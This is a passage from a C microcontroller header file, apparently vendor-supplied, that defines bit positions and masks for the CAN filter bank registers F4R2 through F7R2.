#define CAN_F4R2_FB0_Pos (0U) #define CAN_F4R2_FB0_Msk (0x1U << CAN_F4R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F4R2_FB0 CAN_F4R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F4R2_FB1_Pos (1U) #define CAN_F4R2_FB1_Msk (0x1U << CAN_F4R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F4R2_FB1 CAN_F4R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F4R2_FB2_Pos (2U) #define CAN_F4R2_FB2_Msk (0x1U << CAN_F4R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F4R2_FB2 CAN_F4R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F4R2_FB3_Pos (3U) #define CAN_F4R2_FB3_Msk (0x1U << CAN_F4R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F4R2_FB3 CAN_F4R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F4R2_FB4_Pos (4U) #define CAN_F4R2_FB4_Msk (0x1U << CAN_F4R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F4R2_FB4 CAN_F4R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F4R2_FB5_Pos (5U) #define CAN_F4R2_FB5_Msk (0x1U << CAN_F4R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F4R2_FB5 CAN_F4R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F4R2_FB6_Pos (6U) #define CAN_F4R2_FB6_Msk (0x1U << CAN_F4R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F4R2_FB6 CAN_F4R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F4R2_FB7_Pos (7U) #define CAN_F4R2_FB7_Msk (0x1U << CAN_F4R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F4R2_FB7 CAN_F4R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F4R2_FB8_Pos (8U) #define CAN_F4R2_FB8_Msk (0x1U << CAN_F4R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F4R2_FB8 CAN_F4R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F4R2_FB9_Pos (9U) #define CAN_F4R2_FB9_Msk (0x1U << CAN_F4R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F4R2_FB9 CAN_F4R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F4R2_FB10_Pos (10U) #define CAN_F4R2_FB10_Msk (0x1U << CAN_F4R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F4R2_FB10 CAN_F4R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F4R2_FB11_Pos (11U) #define CAN_F4R2_FB11_Msk (0x1U << CAN_F4R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F4R2_FB11 CAN_F4R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F4R2_FB12_Pos (12U) #define CAN_F4R2_FB12_Msk (0x1U << CAN_F4R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F4R2_FB12 CAN_F4R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F4R2_FB13_Pos (13U) #define CAN_F4R2_FB13_Msk (0x1U << CAN_F4R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F4R2_FB13 CAN_F4R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F4R2_FB14_Pos (14U) #define CAN_F4R2_FB14_Msk (0x1U << CAN_F4R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F4R2_FB14 CAN_F4R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F4R2_FB15_Pos (15U) #define CAN_F4R2_FB15_Msk (0x1U << CAN_F4R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F4R2_FB15 CAN_F4R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F4R2_FB16_Pos (16U) #define CAN_F4R2_FB16_Msk (0x1U << CAN_F4R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F4R2_FB16 CAN_F4R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F4R2_FB17_Pos (17U) #define CAN_F4R2_FB17_Msk (0x1U << CAN_F4R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F4R2_FB17 CAN_F4R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F4R2_FB18_Pos (18U) #define CAN_F4R2_FB18_Msk (0x1U << CAN_F4R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F4R2_FB18 CAN_F4R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F4R2_FB19_Pos (19U) #define CAN_F4R2_FB19_Msk (0x1U << CAN_F4R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F4R2_FB19 CAN_F4R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F4R2_FB20_Pos (20U) #define CAN_F4R2_FB20_Msk (0x1U << CAN_F4R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F4R2_FB20 CAN_F4R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F4R2_FB21_Pos (21U) #define CAN_F4R2_FB21_Msk (0x1U << CAN_F4R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F4R2_FB21 CAN_F4R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F4R2_FB22_Pos (22U) #define CAN_F4R2_FB22_Msk (0x1U << CAN_F4R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F4R2_FB22 CAN_F4R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F4R2_FB23_Pos (23U) #define CAN_F4R2_FB23_Msk (0x1U << CAN_F4R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F4R2_FB23 CAN_F4R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F4R2_FB24_Pos (24U) #define CAN_F4R2_FB24_Msk (0x1U << CAN_F4R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F4R2_FB24 CAN_F4R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F4R2_FB25_Pos (25U) #define CAN_F4R2_FB25_Msk (0x1U << CAN_F4R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F4R2_FB25 CAN_F4R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F4R2_FB26_Pos (26U) #define CAN_F4R2_FB26_Msk (0x1U << CAN_F4R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F4R2_FB26 CAN_F4R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F4R2_FB27_Pos (27U) #define CAN_F4R2_FB27_Msk (0x1U << CAN_F4R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F4R2_FB27 CAN_F4R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F4R2_FB28_Pos (28U) #define CAN_F4R2_FB28_Msk (0x1U << CAN_F4R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F4R2_FB28 CAN_F4R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F4R2_FB29_Pos (29U) #define CAN_F4R2_FB29_Msk (0x1U << CAN_F4R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F4R2_FB29 CAN_F4R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F4R2_FB30_Pos (30U) #define CAN_F4R2_FB30_Msk (0x1U << CAN_F4R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F4R2_FB30 CAN_F4R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F4R2_FB31_Pos (31U) #define CAN_F4R2_FB31_Msk (0x1U << CAN_F4R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F4R2_FB31 CAN_F4R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F5R2 register *******************/ #define CAN_F5R2_FB0_Pos (0U) #define CAN_F5R2_FB0_Msk (0x1U << CAN_F5R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F5R2_FB0 CAN_F5R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F5R2_FB1_Pos (1U) #define CAN_F5R2_FB1_Msk (0x1U << CAN_F5R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F5R2_FB1 CAN_F5R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F5R2_FB2_Pos (2U) #define CAN_F5R2_FB2_Msk (0x1U << CAN_F5R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F5R2_FB2 CAN_F5R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F5R2_FB3_Pos (3U) #define CAN_F5R2_FB3_Msk (0x1U << CAN_F5R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F5R2_FB3 CAN_F5R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F5R2_FB4_Pos (4U) #define CAN_F5R2_FB4_Msk (0x1U << CAN_F5R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F5R2_FB4 CAN_F5R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F5R2_FB5_Pos (5U) #define CAN_F5R2_FB5_Msk (0x1U << CAN_F5R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F5R2_FB5 CAN_F5R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F5R2_FB6_Pos (6U) #define CAN_F5R2_FB6_Msk (0x1U << CAN_F5R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F5R2_FB6 CAN_F5R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F5R2_FB7_Pos (7U) #define CAN_F5R2_FB7_Msk (0x1U << CAN_F5R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F5R2_FB7 CAN_F5R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F5R2_FB8_Pos (8U) #define CAN_F5R2_FB8_Msk (0x1U << CAN_F5R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F5R2_FB8 CAN_F5R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F5R2_FB9_Pos (9U) #define CAN_F5R2_FB9_Msk (0x1U << CAN_F5R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F5R2_FB9 CAN_F5R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F5R2_FB10_Pos (10U) #define CAN_F5R2_FB10_Msk (0x1U << CAN_F5R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F5R2_FB10 CAN_F5R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F5R2_FB11_Pos (11U) #define CAN_F5R2_FB11_Msk (0x1U << CAN_F5R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F5R2_FB11 CAN_F5R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F5R2_FB12_Pos (12U) #define CAN_F5R2_FB12_Msk (0x1U << CAN_F5R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F5R2_FB12 CAN_F5R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F5R2_FB13_Pos (13U) #define CAN_F5R2_FB13_Msk (0x1U << CAN_F5R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F5R2_FB13 CAN_F5R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F5R2_FB14_Pos (14U) #define CAN_F5R2_FB14_Msk (0x1U << CAN_F5R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F5R2_FB14 CAN_F5R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F5R2_FB15_Pos (15U) #define CAN_F5R2_FB15_Msk (0x1U << CAN_F5R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F5R2_FB15 CAN_F5R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F5R2_FB16_Pos (16U) #define CAN_F5R2_FB16_Msk (0x1U << CAN_F5R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F5R2_FB16 CAN_F5R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F5R2_FB17_Pos (17U) #define CAN_F5R2_FB17_Msk (0x1U << CAN_F5R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F5R2_FB17 CAN_F5R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F5R2_FB18_Pos (18U) #define CAN_F5R2_FB18_Msk (0x1U << CAN_F5R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F5R2_FB18 CAN_F5R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F5R2_FB19_Pos (19U) #define CAN_F5R2_FB19_Msk (0x1U << CAN_F5R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F5R2_FB19 CAN_F5R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F5R2_FB20_Pos (20U) #define CAN_F5R2_FB20_Msk (0x1U << CAN_F5R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F5R2_FB20 CAN_F5R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F5R2_FB21_Pos (21U) #define CAN_F5R2_FB21_Msk (0x1U << CAN_F5R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F5R2_FB21 CAN_F5R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F5R2_FB22_Pos (22U) #define CAN_F5R2_FB22_Msk (0x1U << CAN_F5R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F5R2_FB22 CAN_F5R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F5R2_FB23_Pos (23U) #define CAN_F5R2_FB23_Msk (0x1U << CAN_F5R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F5R2_FB23 CAN_F5R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F5R2_FB24_Pos (24U) #define CAN_F5R2_FB24_Msk (0x1U << CAN_F5R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F5R2_FB24 CAN_F5R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F5R2_FB25_Pos (25U) #define CAN_F5R2_FB25_Msk (0x1U << CAN_F5R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F5R2_FB25 CAN_F5R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F5R2_FB26_Pos (26U) #define CAN_F5R2_FB26_Msk (0x1U << CAN_F5R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F5R2_FB26 CAN_F5R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F5R2_FB27_Pos (27U) #define CAN_F5R2_FB27_Msk (0x1U << CAN_F5R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F5R2_FB27 CAN_F5R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F5R2_FB28_Pos (28U) #define CAN_F5R2_FB28_Msk (0x1U << CAN_F5R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F5R2_FB28 CAN_F5R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F5R2_FB29_Pos (29U) #define CAN_F5R2_FB29_Msk (0x1U << CAN_F5R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F5R2_FB29 CAN_F5R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F5R2_FB30_Pos (30U) #define CAN_F5R2_FB30_Msk (0x1U << CAN_F5R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F5R2_FB30 CAN_F5R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F5R2_FB31_Pos (31U) #define CAN_F5R2_FB31_Msk (0x1U << CAN_F5R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F5R2_FB31 CAN_F5R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F6R2 register *******************/ #define CAN_F6R2_FB0_Pos (0U) #define CAN_F6R2_FB0_Msk (0x1U << CAN_F6R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F6R2_FB0 CAN_F6R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F6R2_FB1_Pos (1U) #define CAN_F6R2_FB1_Msk (0x1U << CAN_F6R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F6R2_FB1 CAN_F6R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F6R2_FB2_Pos (2U) #define CAN_F6R2_FB2_Msk (0x1U << CAN_F6R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F6R2_FB2 CAN_F6R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F6R2_FB3_Pos (3U) #define CAN_F6R2_FB3_Msk (0x1U << CAN_F6R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F6R2_FB3 CAN_F6R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F6R2_FB4_Pos (4U) #define CAN_F6R2_FB4_Msk (0x1U << CAN_F6R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F6R2_FB4 CAN_F6R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F6R2_FB5_Pos (5U) #define CAN_F6R2_FB5_Msk (0x1U << CAN_F6R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F6R2_FB5 CAN_F6R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F6R2_FB6_Pos (6U) #define CAN_F6R2_FB6_Msk (0x1U << CAN_F6R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F6R2_FB6 CAN_F6R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F6R2_FB7_Pos (7U) #define CAN_F6R2_FB7_Msk (0x1U << CAN_F6R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F6R2_FB7 CAN_F6R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F6R2_FB8_Pos (8U) #define CAN_F6R2_FB8_Msk (0x1U << CAN_F6R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F6R2_FB8 CAN_F6R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F6R2_FB9_Pos (9U) #define CAN_F6R2_FB9_Msk (0x1U << CAN_F6R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F6R2_FB9 CAN_F6R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F6R2_FB10_Pos (10U) #define CAN_F6R2_FB10_Msk (0x1U << CAN_F6R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F6R2_FB10 CAN_F6R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F6R2_FB11_Pos (11U) #define CAN_F6R2_FB11_Msk (0x1U << CAN_F6R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F6R2_FB11 CAN_F6R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F6R2_FB12_Pos (12U) #define CAN_F6R2_FB12_Msk (0x1U << CAN_F6R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F6R2_FB12 CAN_F6R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F6R2_FB13_Pos (13U) #define CAN_F6R2_FB13_Msk (0x1U << CAN_F6R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F6R2_FB13 CAN_F6R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F6R2_FB14_Pos (14U) #define CAN_F6R2_FB14_Msk (0x1U << CAN_F6R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F6R2_FB14 CAN_F6R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F6R2_FB15_Pos (15U) #define CAN_F6R2_FB15_Msk (0x1U << CAN_F6R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F6R2_FB15 CAN_F6R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F6R2_FB16_Pos (16U) #define CAN_F6R2_FB16_Msk (0x1U << CAN_F6R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F6R2_FB16 CAN_F6R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F6R2_FB17_Pos (17U) #define CAN_F6R2_FB17_Msk (0x1U << CAN_F6R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F6R2_FB17 CAN_F6R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F6R2_FB18_Pos (18U) #define CAN_F6R2_FB18_Msk (0x1U << CAN_F6R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F6R2_FB18 CAN_F6R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F6R2_FB19_Pos (19U) #define CAN_F6R2_FB19_Msk (0x1U << CAN_F6R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F6R2_FB19 CAN_F6R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F6R2_FB20_Pos (20U) #define CAN_F6R2_FB20_Msk (0x1U << CAN_F6R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F6R2_FB20 CAN_F6R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F6R2_FB21_Pos (21U) #define CAN_F6R2_FB21_Msk (0x1U << CAN_F6R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F6R2_FB21 CAN_F6R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F6R2_FB22_Pos (22U) #define CAN_F6R2_FB22_Msk (0x1U << CAN_F6R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F6R2_FB22 CAN_F6R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F6R2_FB23_Pos (23U) #define CAN_F6R2_FB23_Msk (0x1U << CAN_F6R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F6R2_FB23 CAN_F6R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F6R2_FB24_Pos (24U) #define CAN_F6R2_FB24_Msk (0x1U << CAN_F6R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F6R2_FB24 CAN_F6R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F6R2_FB25_Pos (25U) #define CAN_F6R2_FB25_Msk (0x1U << CAN_F6R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F6R2_FB25 CAN_F6R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F6R2_FB26_Pos (26U) #define CAN_F6R2_FB26_Msk (0x1U << CAN_F6R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F6R2_FB26 CAN_F6R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F6R2_FB27_Pos (27U) #define CAN_F6R2_FB27_Msk (0x1U << CAN_F6R2_FB27_Pos) /*!< 0x08000000 */ #define CAN_F6R2_FB27 CAN_F6R2_FB27_Msk /*!<Filter bit 27 */ #define CAN_F6R2_FB28_Pos (28U) #define CAN_F6R2_FB28_Msk (0x1U << CAN_F6R2_FB28_Pos) /*!< 0x10000000 */ #define CAN_F6R2_FB28 CAN_F6R2_FB28_Msk /*!<Filter bit 28 */ #define CAN_F6R2_FB29_Pos (29U) #define CAN_F6R2_FB29_Msk (0x1U << CAN_F6R2_FB29_Pos) /*!< 0x20000000 */ #define CAN_F6R2_FB29 CAN_F6R2_FB29_Msk /*!<Filter bit 29 */ #define CAN_F6R2_FB30_Pos (30U) #define CAN_F6R2_FB30_Msk (0x1U << CAN_F6R2_FB30_Pos) /*!< 0x40000000 */ #define CAN_F6R2_FB30 CAN_F6R2_FB30_Msk /*!<Filter bit 30 */ #define CAN_F6R2_FB31_Pos (31U) #define CAN_F6R2_FB31_Msk (0x1U << CAN_F6R2_FB31_Pos) /*!< 0x80000000 */ #define CAN_F6R2_FB31 CAN_F6R2_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F7R2 register *******************/ #define CAN_F7R2_FB0_Pos (0U) #define CAN_F7R2_FB0_Msk (0x1U << CAN_F7R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F7R2_FB0 CAN_F7R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F7R2_FB1_Pos (1U) #define CAN_F7R2_FB1_Msk (0x1U << CAN_F7R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F7R2_FB1 CAN_F7R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F7R2_FB2_Pos (2U) #define CAN_F7R2_FB2_Msk (0x1U << CAN_F7R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F7R2_FB2 CAN_F7R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F7R2_FB3_Pos (3U) #define CAN_F7R2_FB3_Msk (0x1U << CAN_F7R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F7R2_FB3 CAN_F7R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F7R2_FB4_Pos (4U) #define CAN_F7R2_FB4_Msk (0x1U << CAN_F7R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F7R2_FB4 CAN_F7R2_FB4_Msk /*!<Filter bit 4 */ #define CAN_F7R2_FB5_Pos (5U) #define CAN_F7R2_FB5_Msk (0x1U << CAN_F7R2_FB5_Pos) /*!< 0x00000020 */ #define CAN_F7R2_FB5 CAN_F7R2_FB5_Msk /*!<Filter bit 5 */ #define CAN_F7R2_FB6_Pos (6U) #define CAN_F7R2_FB6_Msk (0x1U << CAN_F7R2_FB6_Pos) /*!< 0x00000040 */ #define CAN_F7R2_FB6 CAN_F7R2_FB6_Msk /*!<Filter bit 6 */ #define CAN_F7R2_FB7_Pos (7U) #define CAN_F7R2_FB7_Msk (0x1U << CAN_F7R2_FB7_Pos) /*!< 0x00000080 */ #define CAN_F7R2_FB7 CAN_F7R2_FB7_Msk /*!<Filter bit 7 */ #define CAN_F7R2_FB8_Pos (8U) #define CAN_F7R2_FB8_Msk (0x1U << CAN_F7R2_FB8_Pos) /*!< 0x00000100 */ #define CAN_F7R2_FB8 CAN_F7R2_FB8_Msk /*!<Filter bit 8 */ #define CAN_F7R2_FB9_Pos (9U) #define CAN_F7R2_FB9_Msk (0x1U << CAN_F7R2_FB9_Pos) /*!< 0x00000200 */ #define CAN_F7R2_FB9 CAN_F7R2_FB9_Msk /*!<Filter bit 9 */ #define CAN_F7R2_FB10_Pos (10U) #define CAN_F7R2_FB10_Msk (0x1U << CAN_F7R2_FB10_Pos) /*!< 0x00000400 */ #define CAN_F7R2_FB10 CAN_F7R2_FB10_Msk /*!<Filter bit 10 */ #define CAN_F7R2_FB11_Pos (11U) #define CAN_F7R2_FB11_Msk (0x1U << CAN_F7R2_FB11_Pos) /*!< 0x00000800 */ #define CAN_F7R2_FB11 CAN_F7R2_FB11_Msk /*!<Filter bit 11 */ #define CAN_F7R2_FB12_Pos (12U) #define CAN_F7R2_FB12_Msk (0x1U << CAN_F7R2_FB12_Pos) /*!< 0x00001000 */ #define CAN_F7R2_FB12 CAN_F7R2_FB12_Msk /*!<Filter bit 12 */ #define CAN_F7R2_FB13_Pos (13U) #define CAN_F7R2_FB13_Msk (0x1U << CAN_F7R2_FB13_Pos) /*!< 0x00002000 */ #define CAN_F7R2_FB13 CAN_F7R2_FB13_Msk /*!<Filter bit 13 */ #define CAN_F7R2_FB14_Pos (14U) #define CAN_F7R2_FB14_Msk (0x1U << CAN_F7R2_FB14_Pos) /*!< 0x00004000 */ #define CAN_F7R2_FB14 CAN_F7R2_FB14_Msk /*!<Filter bit 14 */ #define CAN_F7R2_FB15_Pos (15U) #define CAN_F7R2_FB15_Msk (0x1U << CAN_F7R2_FB15_Pos) /*!< 0x00008000 */ #define CAN_F7R2_FB15 CAN_F7R2_FB15_Msk /*!<Filter bit 15 */ #define CAN_F7R2_FB16_Pos (16U) #define CAN_F7R2_FB16_Msk (0x1U << CAN_F7R2_FB16_Pos) /*!< 0x00010000 */ #define CAN_F7R2_FB16 CAN_F7R2_FB16_Msk /*!<Filter bit 16 */ #define CAN_F7R2_FB17_Pos (17U) #define CAN_F7R2_FB17_Msk (0x1U << CAN_F7R2_FB17_Pos) /*!< 0x00020000 */ #define CAN_F7R2_FB17 CAN_F7R2_FB17_Msk /*!<Filter bit 17 */ #define CAN_F7R2_FB18_Pos (18U) #define CAN_F7R2_FB18_Msk (0x1U << CAN_F7R2_FB18_Pos) /*!< 0x00040000 */ #define CAN_F7R2_FB18 CAN_F7R2_FB18_Msk /*!<Filter bit 18 */ #define CAN_F7R2_FB19_Pos (19U) #define CAN_F7R2_FB19_Msk (0x1U << CAN_F7R2_FB19_Pos) /*!< 0x00080000 */ #define CAN_F7R2_FB19 CAN_F7R2_FB19_Msk /*!<Filter bit 19 */ #define CAN_F7R2_FB20_Pos (20U) #define CAN_F7R2_FB20_Msk (0x1U << CAN_F7R2_FB20_Pos) /*!< 0x00100000 */ #define CAN_F7R2_FB20 CAN_F7R2_FB20_Msk /*!<Filter bit 20 */ #define CAN_F7R2_FB21_Pos (21U) #define CAN_F7R2_FB21_Msk (0x1U << CAN_F7R2_FB21_Pos) /*!< 0x00200000 */ #define CAN_F7R2_FB21 CAN_F7R2_FB21_Msk /*!<Filter bit 21 */ #define CAN_F7R2_FB22_Pos (22U) #define CAN_F7R2_FB22_Msk (0x1U << CAN_F7R2_FB22_Pos) /*!< 0x00400000 */ #define CAN_F7R2_FB22 CAN_F7R2_FB22_Msk /*!<Filter bit 22 */ #define CAN_F7R2_FB23_Pos (23U) #define CAN_F7R2_FB23_Msk (0x1U << CAN_F7R2_FB23_Pos) /*!< 0x00800000 */ #define CAN_F7R2_FB23 CAN_F7R2_FB23_Msk /*!<Filter bit 23 */ #define CAN_F7R2_FB24_Pos (24U) #define CAN_F7R2_FB24_Msk (0x1U << CAN_F7R2_FB24_Pos) /*!< 0x01000000 */ #define CAN_F7R2_FB24 CAN_F7R2_FB24_Msk /*!<Filter bit 24 */ #define CAN_F7R2_FB25_Pos (25U) #define CAN_F7R2_FB25_Msk (0x1U << CAN_F7R2_FB25_Pos) /*!< 0x02000000 */ #define CAN_F7R2_FB25 CAN_F7R2_FB25_Msk /*!<Filter bit 25 */ #define CAN_F7R2_FB26_Pos (26U) #define CAN_F7R2_FB26_Msk (0x1U << CAN_F7R2_FB26_Pos) /*!< 0x04000000 */ #define CAN_F7R2_FB26 CAN_F7R2_FB26_Msk /*!<Filter bit 26 */ #define CAN_F7R2_FB27_Pos (27U) #define CAN_F7R2_FB27_Msk 